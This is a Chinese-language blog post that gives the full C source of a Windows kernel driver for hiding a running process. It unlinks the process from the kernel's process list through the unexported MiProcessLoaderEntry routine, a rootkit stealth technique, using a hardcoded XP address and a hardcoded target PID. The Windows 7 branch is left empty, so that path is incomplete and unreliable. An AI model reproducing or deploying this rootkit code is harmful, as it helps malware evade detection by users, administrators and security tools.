进程隐藏(防蓝屏版)

#include <Ntifs.h>
// 未导出函数
// 用于增加或删除驱动链表中的某一元素
typedef VOID(*pMiProcessLoaderEntry)(
       IN PVOID DataTableEntry,
       IN LOGICAL Insert
       );
pMiProcessLoaderEntry MiProcessLoaderEntry;
// 获取(ActiveProcessLinks)进程链表的相对(EPROCESS)偏移
ULONG GetProcessOffset()
{
       if (SharedUserData->NtMajorVersion == 5) // 如果位 Windows Xp
       {
              return 0x88;
       }
       else if ((SharedUserData->NtMajorVersion == 6) &&
              (SharedUserData->NtMinorVersion == 1)) // 如果为Windows7
       {
              if (sizeof(PVOID) == 4) // 如果为 32 位Windows7
              {
                     return 0x0b8;
              }
              else // 如果为 64 位Windows7
              {
                     return 0x188;
              }
       }
       return 0;
}
// 隐藏进程
VOID HideProcess(HANDLE hProcessId)
{
       PEPROCESS Process;
       ULONG offset;
       NTSTATUS status = PsLookupProcessByProcessId(hProcessId, &Process);
       if (!NT_SUCCESS(status))
       {
              DbgPrint("查找进程失败\n");
              return;
       }
       offset = GetProcessOffset();
       if (offset == 0) { DbgPrint("offset == 0\n"); return; }
       if (MiProcessLoaderEntry != NULL)
       {
              // 将进程从进程链表中剔除, 达到隐藏进程的效果
              MiProcessLoaderEntry((PCHAR)Process + offset/*LDR_DATA_TABLE_ENTRY驱动结构体*/,
                     FALSE/*FALSE为从驱动链表中删除,TRUE为插入*/);
              DbgPrint("隐藏进程成功\n");
       }
       else
       {
              DbgPrint("隐藏进程失败\n");
       }
}
VOID Unload(IN PDRIVER_OBJECT DriverObject)
{
       DbgPrint("卸载驱动\n");
}
NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING     RegeditPath)
{
       DbgPrint("加载驱动\n");
       NTSTATUS status = STATUS_SUCCESS;
       HANDLE hThread;
       DriverObject->DriverUnload = Unload;
       if (SharedUserData->NtMajorVersion == 5) // 为XP系统的话
       {
              MiProcessLoaderEntry = (pMiProcessLoaderEntry)0x8050eb06;
    }
    else
    {
#ifdef _X86_ // 如果为 32 位的Win7
#else // 如果为 64 位的Win7
#endif
     }
       HideProcess((HANDLE)1232);
       return status;
}

原创文章,转载请注明: 转载自Windows内核安全驱动编程

本文链接地址: 进程隐藏(防蓝屏版)

发表评论

您的电子邮箱地址不会被公开。 必填项已用*标注